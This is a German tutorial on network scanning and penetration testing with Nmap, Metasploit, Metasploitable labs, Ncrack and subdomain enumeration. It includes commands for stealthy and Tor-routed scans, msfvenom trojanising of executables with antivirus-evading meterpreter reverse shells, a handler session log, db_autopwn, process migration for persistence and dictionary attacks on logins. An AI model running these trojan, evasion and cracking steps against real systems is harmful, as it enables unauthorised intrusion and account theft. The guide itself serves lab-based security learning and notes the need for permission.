Portscan mit Nmap: Hosts/Rechner und offene Ports im Netzwerk finden und scannen
Um sich einen Überblick über das Netzwerk zu verschaffen, zu dem man verbunden ist, kann ein Portscan auf das Netzwerk durchführt werden, um verbundene Hosts und angebotene Services/Dienste bzw. offene Ports zu finden.
Unter Linux/GNOME kann der NetworkManager bzw. nmcli(1) verwenden werden, um sich die Netze anzuzeigen, zu denen man verbunden ist.
export LC_ALL=C # Damit der reguläre Ausdruck unten korrekt ist lsip () { > nmcli -f uuid,device connection show --active \ > | awk 'NR>1 && $2!="lo" {print $1}' \ > | xargs nmcli -t connection show \ > | sed -n -E "/^IP4\.ADDRESS\[[0-9]+\]:/{s///;p}" > }
Und dann mit z.B. nmap(1) einen Standard Nmap scan ausführen, um sich alle Hosts anzuzeigen, die erreichbar sind (Ping), sowie deren offene Ports.
lsip | xargs nmap
Pingscan (auch Pinsweep genannt) zur Host-Erkennung
Mit der Option -sn lässt sich eine Host-Erkennung ohne Portscan durchführen. Die Option ersetzt die frühere Option -sP (Pingscan):
lsip | xargs nmap -oG - -sn | grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}'
Vor einem Ping scan verstecken
Nmap sendet vor dem Portscan einen Ping, um die Erreichbarkeit einer IP-Adresse festzustellen und überspringt Adressen, die darauf keine Antwort senden (Pong). Damit keine Antwort gesendet wird, müssen folgende Kernel-Parameter gesetzt werden.
cat <<! >>/etc/sysctl.d/00-local.conf > net.ipv4.icmp_echo_ignore_all=1 > net.ipv4.icmp_echo_ignore_broadcasts=1 > ! sysctl -p # Die sysctl-Einstellungen neuladen
Im Localnet können Geräte dennoch via ARP-Scan gefunden werden (Siehe weiter unten).
Alles scannen
Um den Ping scan zu deaktivieren und alle IP-Adressen zu scannen (-PN) und so auch verstecke Ports zu finden (-p), sowie die Betriebssystemerkennung (-O), die Versionserkennung (-sV), das Scannen mit Scripts (-sC) und traceroute (--traceroute) zu aktivieren und so mehr Details angezeigt zu bekommen, nutzt man folgende Parameter (Viele der genannten Parameter sind unter dem Parameter -A zusammengefasst. Dieser soll einen umfassenden Satz von Scan-Optionen aktivieren, ohne dass man sich viele Parameter merken muss).
lsip | xargs nmap -A -PN -oA "result-%F-%T" --script=vuln -sT -sU -p "T:0-65535,U:0-65535" --open
Ein solcher Scan benötigt allerdings auch entsprechend mehr Zeit und wird als aufdringlich betrachtet. Es gibt durchaus auch den einen oder anderen Nachteil: Die Scanning-Aktivität wird mit hoher Wahrscheinlichkeit bemerkt werden. Sie sollten dies nicht ohne Genehmigung anwenden. Außerdem benötigt dieser Scan erweiterte Rechte, haben Sie diese nicht, lassen Sie -sS und -sU weg, bzw. siehe auch: Running nmap as an unprivileged user.
Stealth-Scan (TCP SYN)
Stealth-Scans (-sS) nutzen verschiedene Techniken zum Suchen nach offenen Ports, die verhindern sollen, dass die Verbindungsanfragen bemerkt werden:
nmap -sS -p 0-65535
Eine weitere Möglichkeit ist es einen Scan zu fragmentierten (-f
), wobei der TCP-Header auf mehrere Pakete verteilt wird, um eine Entdeckung zu erschweren und mit -D RND:5
können zur realen Absenderadress noch weitere fake Absenderadressen erzeugt werden, die dann zusätzlich auch im Log auftauchen.
Über einen Zombie Scannen
Alle bisher genannten Methoden werden sehr wahrscheinlich vom Ziel durch das IDS erkannt (Exemplarich sei hier snort geannt). Ein bessere Möglichkeit ist die Option -sI
was einen Zombie nutzt, dessen Adresse dann als Absender in den Logs auftaucht.
Über TOR scannen mit proxychains
apt install tor proxychains cat <<! >~/.proxychains/proxychains.conf strict_chain #proxy_dns [ProxyList] socks5 127.0.0.1 9050 ! proxychains nmap -sT -Pn <targets…>
Zu beachten ist hierbei, dass so nur TCP unterstützt wird (-sT
; TCP Connect-Scan) und der Ping abgeschaltet wird (-Pn
).
Passiver Nmap scan über shodan.io
Siehe: https://github.com/s0md3v/Smap
Alternativen für die Funktion lsip
In Leserbriefen wurden noch Alternativen für die Funktion lsip aufgezeigt.
Hier ein für das Wiki adaptiertes Kommando, für Leute die NetworkManager nicht einsetzen.
ip -f inet -br a | awk '$1!="lo" && $2!="DOWN" {print $NF}'
Beide obigen Methoden haben Nachteile: Das ip(8) z.B. bei Point-to-Point-Verbindungen und dem Filtern des Output mit awk/sed/usw. und das nmcli(1) bei nicht mit dem NetworkManager verwalteten Interfaces. Wer das als Gefrickel ansieht, kann sich auch ein Perl-Skript schreiben, das sauber alle Netzwerke auflistet. Die dafür nötigen Module sind über CPAN oder die Paketverwaltung in den Paketen libio-interface-perl und libnet-netmask-perl vorhanden.
#!/usr/bin/env perl use feature 'say'; use IO::Interface::Simple; use Net::Netmask; for ( IO::Interface::Simple->interfaces ) { if ( !$_->address ) { warn $_, ': has no address'; next; } next if ( !$_->is_running ); next if ( $_->is_loopback ); my $block = Net::Netmask->new( $_->address, $_->netmask ); say $block; }
Um die IP-Adresse statt des Netzes auszugeben, schreibt man folgendes Kommando.
say $_->address, '/', $block->bits;
Zenmap
Zuletzt noch ein Beispiel für den Aufruf von zenmap(1), das grafische Nmap frontend.
zenmap --nmap nmap -A `lsip | sort -u`
Nmap in Metasploit
Nmap kann auch direkt aus Metasploit heraus gestartet, und die Scanresultate dann in Metasploit verwendet werden. Dazu verfügt Metasploit über eine Datenbankanbindung, in der die Resultate verwaltet werden. Vor der ersten Verwendung muss dazu die Datenbank (Postgres) samt Tabellen initialisiert und gestartet werden:
msfdb init # start and initial the database
Wenn die Datenbank einmal erstellt ist, kann später mit msfdb run erst die Datenbank und dann die Metasploit Framework Konsole msfconsole(1) gestartet werden:
msfdb run # start the database and run msfconsole msf > help # help menu
Innerhalb der Metasploit Framework Console kann nmap(1) anschließend mit dem Befehl db_nmap und den üblichen Parametern gestartet werden:
msf > db_nmap [usual nmap arguments] <targets>
Die Ergebnisse werden direkt in die Datenbank importiert. Alternativ kann auch ein Scanresultat s.o. importiert werden:
msf > db_import path/to/result.xml # import a scan result file
Nachdem db_nmap oder db_import ausgeführt wurde, können die Ergebnisse mit hosts und services ausgewertet werden. Verwenden Sie die Option --help für das Hilfemenü:
msf > hosts --up # List all hosts in the database wich are up msf > services --up # List all services/ports in the database wich are up
Hat man keine Arbeitsumgebungen in Metasploit eingerichtet, kann auch die komplette Datenbank leer neu erstellt werden:
msfdb reinit # delete and reinitialize the database
Metasploitable
Login
Für Metasploitable 2 gilt User msfadmin und Passwort msfadmin
Für Metasploitable 3 gilt User vagrant Passwort vagrant
Vagrant
Curl und Vagrant installieren, Vagrant ist eine Anwendung zum Erstellen und Verwalten virtueller Maschinen.
apt install curl vagrant # or apt install curl vagrant-libvirt
Benötigte Vagrant-Plugins installieren:
vagrant plugin install winrm winrm-elevated
Die Metasploitable 3 VMs installieren:
mkdir metasploitable3-workspace cd metasploitable3-workspace curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile vagrant up --provider=virtualbox # or vagrant up --provider=libvirt
Vagrant-Plugins deinstallieren:
vagrant plugin uninstall <modul…>
Alle Vagrant-Befehle zeigt vagrant -h
bzw. vagrant plugin -h
, vagrant up -h
und vagrant box -h
Vulnerability-Scanning mit Nmap
Die Nmap Skript-Kategorie vuln auf Metasploitable 3 anwenden:
msf > db_nmap ---hostgroup 96 -T4 -sV --version-all -O --osscan-guess --script=vuln -sS -Pn --open --reason <targets…>
Hosterkennung und Versuchen das Betriebsystem zu erkennen (msf > hosts
) und die Nmap Skript-Kategorie *vuln* auf Metasploitable anwenden: Neben der CVE ID werden weitere Referenzen angegeben – unter anderem Metasploit-Module (Exploits) mit denen die Schwachstellen ausgenutzt werden können (msf > vulns
). Mit --open
verkürzen wir die Ausgabe und lassen uns nur offenen Ports auflisten und mit --reason
wird aufgelisten warum ein Port als offen erkannt wurde (msf > services
).
Bessere Vulnerability-Scanner sind OpenVAS, das als ein Fork von Nessus hervorgegangen ist oder auch Rapid 7 Nexpose. OpenVAS wird als VM aufgesetzt und soll i.d.R. periodisch ein Vulnerability-Scanning durchführen.
Ältere Versionen von Metasploitable
Auf VulnHub findet man auch die älteren Versionen 1 und 2 von Metasploitable:
Diese Versionen können für ältere Anleitungen noch von Relevanz sein. (VirtualBox kann auch mit den dort angebotenen VMDK-Dateien als Festplatten-Abbild umgehen.)
Hacking Metasploitable
Exploitation
Zum Hacken selbst soll jetzt erstmal nur auf andere Anleitungen verwiesen werden und diese bei Bedarf skizziert.
mad-metasploit
git clone https://github.com/hahwul/mad-metasploit
db_autopwn
git clone https://github.com/hahwul/metasploit-autopwn ln -s /root/metasploit-autopwn/db_autopwn.rb /root/.msf4/plugins/ msfdb run msf > db_nmap -sS -sV -O -p 0-65535 --open <targets…> msf > load db_autopwn msf > db_autopwn -e -p -R great msf > sessions -l # list all active sessions msf > sessions -u 1 # update session to meterpreter msf > sessions -i 1 # connect to a session
Eine Hilfe zu den Parameter gibt db_autopwn -h
aus.
auxiliary/server/browser_autopwn2
- https://www.rapid7.com/blog/post/2015/07/15/the-new-metasploit-browser-autopwn-strikes-faster-and-smarter-part-1/
- https://www.rapid7.com/blog/post/2015/07/16/the-new-metasploit-browser-autopwn-strikes-faster-and-smarter-part-2/
msf > use auxiliary/server/browser_autopwn2 msf > run
auto_pass_the_hash.rc
msf > resource auto_pass_the_hash.rc
Maleware unter Kali erstellen
Hier soll vor allem gezeigt werden, dass eine solche Maleware von vielen Antivirus Programmen nicht erkannt wird. Allerding ist mittlerweile schon viel Zeit vergangen, und vieles wird Heute als Maleware erkannt und davor gewarnt. Teste deinen Antivirus-Scanner!
Einer .exe-Datei mit msfvenom(1) eine Payload anfügen
msfvenom -l payloads # To see what payloads are available (-p)
msfvenom -l encoders | grep excellent # Encoder auflisten (-e)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f exe -o maleware.exe -e x64/shikata_ga_nai -i 3 -x <path/to/template.exe> -k ‐b '\x00'
Für Linux funktioniert das auch:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f elf -o maleware -e x64/shikata_ga_nai -i 3 -x <path/to/template> -k ‐b '\x00'
Die Output Datei (die Maleware/der Trojaner) ist dann eine manipulierte Version der Template Datei (Carrier Application). Prüfe diese A) mit einem Antivirus-Scanner und B) auf Funktionalität s.u.
Veil Evasion (https://www.veil-framework.com)
Veil ist eine weitere Möglichkeit Maleware vor Antivirus-Scanner zu verstecken.
- https://www.veil-framework.com
- https://github.com/Veil-Framework/Veil
- https://github.com/Veil-Framework/Veil-Evasion
apt install veil /usr/share/veil/config/setup.sh
Listener für die Maleware erstellen und starten
Wurde die Maleware (Payload) ausgeführt, muss die Metapreter Session aktiviert und persistent gemacht werden s.u.
msfdb run msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > help # or ? msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp msf6 exploit(multi/handler) > help # or ? msf6 exploit(multi/handler) > show options msf6 exploit(multi/handler) > set lhost 127.0.0.1 msf6 exploit(multi/handler) > set lport 4444 msf6 exploit(multi/handler) > show options msf6 exploit(multi/handler) > run # or exploit [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Sending stage (3045380 bytes) to 127.0.0.1 [*] Meterpreter session 8 opened (127.0.0.1:4444 -> 127.0.0.1:45780) at 2023-09-08 14:20:58 +0200 meterpreter > help # or ?
Post-Exploitation
Hierbei geht es um die Rechteausweitung. Angestrebt sind Root-/Administratorrechte.
Persistent machen
Eine Meterpreter Session an einen anderen Prozess hängen, der länger lebt:
ps # listet alle entfernten Prozesse auf migrate <pid> # hängt die Meterpreter Session an den angegebenen Prozess
ExploitDB-Verzeichnis durchsuchen (searchsploit)
apt install exploitdb # installiert u.a. searchsploit
Nun sucht man mit Stichworten nach einem Exploit den man lokal auf dem Ziel ausführt um erweiterte Rechte zu erhalten.
searchsploit <searchterm>
Ncrack: Wörterbuchangriff auf SSH-, Web- und Mail-Accounts
Nmap kann um Ncrack (In der Paketverwaltung im Paket ncrack zu finden) ergänzt und damit ein Wörterbuchangriff durchgeführt werden. Die Benutzernamen (Z.B. aus den Paketen seclists und wordlists) und Passwörter (Z.B. aus der rockyou.txt von Kali Linux) werden dazu unter ~/.ncrack/ gepflegt. Passwörter in ~/.ncrack/default.pwd und Benutzernamen in ~/.ncrack/default.usr; immer als Textdateien, die zeilenweise Benutzernamen bzw. Passwörter enthalten. Mit den Schaltern -U und -P können auch alternative Listen mit Benutzernamen und Passwörter an ncrack übergeben werden.
Die Angriffsziele übergibt man normalerweise mit dem Schalter -iL, welcher eine Textdatei erwartet, die zeilenweise die Ziele in der Form <service>://target[:port-number] enthält. Mit dem Schalter -iX bzw. -iN ist es aber auch möglich, direkt ein Scanresultat an ncrack(1) zu übergeben:
apt install ncrack nmap -oX result.xml scanme.nmap.org ncrack --save session.dat -iX result.xml -oA found-credentials-%F-%T
Der Schalter --save speichert die Session, um später, z.B. nach einem poweroff(8) mit dem Schalter --resume fortzusetzen. Es dürfen dann keine weiteren bzw. neue Parameter angegebenen werden:
ncrack --resume session.dat
Zum Debuggen kennt ncrack(1) die Schalter -v (für Verbose; der mehrfach angegeben werden kann, was die Informationsmenge erhöt) und -d1 bis -d10 (für Debug; wobei 1 bis 10 die Ausführlichkeit des Log bestimmt). Während ncrack(1) läuft, kann aber wie auch bei nmap(1), mit den Tasten v/V und d/D jeweils das Verbose- bzw. Debuglevel erhöht bzw. verringert werden und mit der Taste p bzw. P gefundene Logins anzeigt. Die ?-Taste zeigt dazu die komplette Hilfe an.
Über tor(1) scannen
Mit dem Schalter --proxy kann z.B. das Netzwerk zur Anonymisierung von Verbindungsdaten, Tor als SOCKS-Proxy genutzt werden:
apt install tor ncrack <options…> --proxy socks4://localhost:9050
Sichere Passwörter
Die Kommandos pwgen -s
und apg -s
erzeugen relativ sicher Passwörter, die in keiner Passwortliste enthalten sein werden. Die Programme befinden sich in den gleichnamigen Paketen.
Mittlerweile erzeuen aber auch schon Browser wie Firefox selbst Passwörter für ein Login im Internet. So das dafür kein eigener Passwortgenerator mehr benötigt wird.
Passwort vs. Passpharse
Angemerkt sei noch, dass ein kurzes Passwort mit größerem Zeichensatz, die gleiche Zeit benötigt um erraten zu werden, wie eine lange Passpharse mit kleinerem Zeichensatz.
Hydra
Das Programm Hydra bietet auch einen Wörterbuchangriff und kann z.B. auch Webformulare u.ä. ausfüllen. Es ist Ncrack in dem Punkt überlegen.
ARP-Scan mit Netdiscover
netdiscover scannt alle erreichbaren Netze nach vorhandenen hosts, auch ohne DHCP. Es ist ein konsolenbasierter ARP Scanner.
Download
netdiscover in debian packages
Über apt installieren
apt-get install netdiscover
zmap
ZMap ist ein Netzwerkscanner, der es ermöglicht, auf einfache Weise internetweite Netzwerkstudien durchzuführen. Mit einem einzigen Rechner und einem gut ausgestatteten Netzwerk-Uplink ist ZMap in der Lage, einen vollständigen Scan des IPv4-Adressraums in weniger als 45 Minuten durchzuführen und nähert sich damit der theoretischen Grenze von Gigabit-Ethernet.
Über apt installieren
apt-get install zmap
Subdomains finden
Im Debian Archiv gibt es einige Tools (z.B. dnsmap, dnsrecon) die Anhand einer Wordlist nach Subdomains scannen. Hier sei als Alternative das Nmap-Script dns-brute genannt:
nmap -Pn --script dns-brute --script-args dns-brute.threads=96,dns-brute.hostlist=wordlist -iL targets -oA results xpath -q -e '//elem[@key="hostname"]/text()' results.xml | sort -u
Die Datei wordlist enthält zeilenweise die Subdomains und targets die Domains, die gescannt werden sollen (beide male ohne das Trennzeichen Punkt am Anfang oder Ende, in der Mitte der Menge möglich). Kopiere zu Beginn als worldlist einfach /usr/share/nmap/nselib/data/vhosts-full.lst oder /usr/share/nmap/nselib/data/vhosts-default.lst an diese Stelle.
Das sort -u
ist nötig, da einige Subdomains mit verschiedenen IP-Adressen gefunden und alle aufgelistet werden.
Meine wordlist umfasst bisweilen 22069 Einträge (Aus bekannten Projekten zusammengetragen). Wem bei dieser Menge auch das DNS um die Ohren fliegt und die Namensauflösung kaputt geht, kann das Script etwas anpassen. Für mich tut ein Delay den Job, wie auch bei den anderen Programmen s.o.:
$ diff -c /usr/share/nmap/scripts/dns-brute.nse ~/.nmap/scripts/dns-brute.nse *** /usr/share/nmap/scripts/dns-brute.nse 2023-01-16 21:23:39.000000000 +0100 --- /home/user/.nmap/scripts/dns-brute.nse 2023-11-24 10:15:23.919908143 +0100 *************** *** 30,35 **** --- 30,36 ---- -- @args dns-brute.srvlist The filename of a list of SRV records to try. -- Defaults to "nselib/data/dns-srv-names" -- @args dns-brute.domain Domain name to brute force if no host is specified + -- @args dns-brute.maxdelay Seconds to wait. Default is randomly 0 up to 3 seconds. -- -- @see dns-nsec3-enum.nse -- @see dns-ip6-arpa-scan.nse *************** *** 129,137 **** --- 130,153 ---- return record end + local function random_sleep(min, max) + math.randomseed(os.time()) + randwait = math.random(min, max) + time=os.time() + newtime=time+randwait + while (time<newtime) + do + time=os.time() + end + end + local function thread_main(domainname, results, name_iter) local condvar = nmap.condvar( results ) + local maxdelay = tonumber( stdnse.get_script_args('dns-brute.maxdelay') ) or 3 for name in name_iter do + if maxdelay > 0 then + random_sleep(0, maxdelay) + end for _, dtype in ipairs({"A", "AAAA"}) do local res = resolve(name..'.'..domainname, dtype) if(res) then
Patch anwenden:
cp /usr/share/nmap/scripts/dns-brute.nse ~/.nmap/scripts/dns-brute.nse patch -c ~/.nmap/scripts/dns-brute.nse patchfile.text.patch
DNS-Zonentransfer
Mit dem DNS-Zonentransfer besteht die Möglichkeit, DNS-Datenbanken zwischen DNS-Servern zu replizieren. Über diesen Weg ist somit das Auslesen aller Subdomains mit nur einem Befehl möglich:
dig axfr example.net
Allerdings ist ein DNS-Zonentransfer i.d.R. nicht erlaubt und korrekterweise gesperrt.
Inhalte/Dateien finden
Im Debian Archiv gibt es einige Tools (z.B. dirb) die Anhand einer Wordlist nach Dateien auf HTTP- und/oder FTP-Servern scannen. Hier seien als Alternative die Nmap-Scripte http-backup-finder und http-config-backup genannt:
Wortlisten finden
Hier eine kleine Auswahl an Bezugsquellen für Wortlisten:
targets finden
Neben der Domain scanme.nmap.org des Nmap Projects, gibt es noch die Domain www.megacorpone.com von Offensive Security.
Ich möchte hier auch Mark B. aus seinem Buch Hacken mit Kali-Linux - Schnelleinstieg für Anfänger zitieren: Es ist besser sich mit seinen Skills, kleines Geld auf Seiten wie www.hackerone.com oder www.bugcrowd.com zu verdienen, als dass irgendwann die Polizei an die Zimmertür klopft.
targets in workspaces organisieren
root@kali:~ cd ./targets root@kali:~/targets find . ./db_nmap-wrapper.sh ./targets.d ./targets.d/domainlist.txt ./README.txt cat ./db_nmap-wrapper.sh !/usr/bin/env sh set -x set -e msfdb start msfdb status for i in targets.d/*.txt; do workspace="$(basename $i .txt)" msfconsole --execute-command " workspace -d $workspace; workspace -a $workspace; db_nmap --min-hostgroup 96 -T4 -sV --version-all -O --osscan-guess --script=vuln -sS -Pn -iL $i; exit; " done sh ./db_nmap-wrapper.sh
Zwischen Workspaces wechseln
Erstellen einer Arbeitsumgebung (workspace), um unterschiedliche Projekte innerhalb von Metasploit zu trennen. Im Beispiel unten soll der workspace localnet heissen:
msf > workspace --add localnet # add a workspace msf > workspace --set localnet # switch to a workspace msf > workspace --list # list all workspaces msf > workspace --delete localnet # delete a workspace
Ein neu erstellter Workspace, wird zum aktuellen Arbeitsbereich.
Hat man keine Arbeitsumgebungen erstellt, kann auch die komplette Datenbank leer neu erstellt werden:
msfdb reinit # delete and reinitialize the database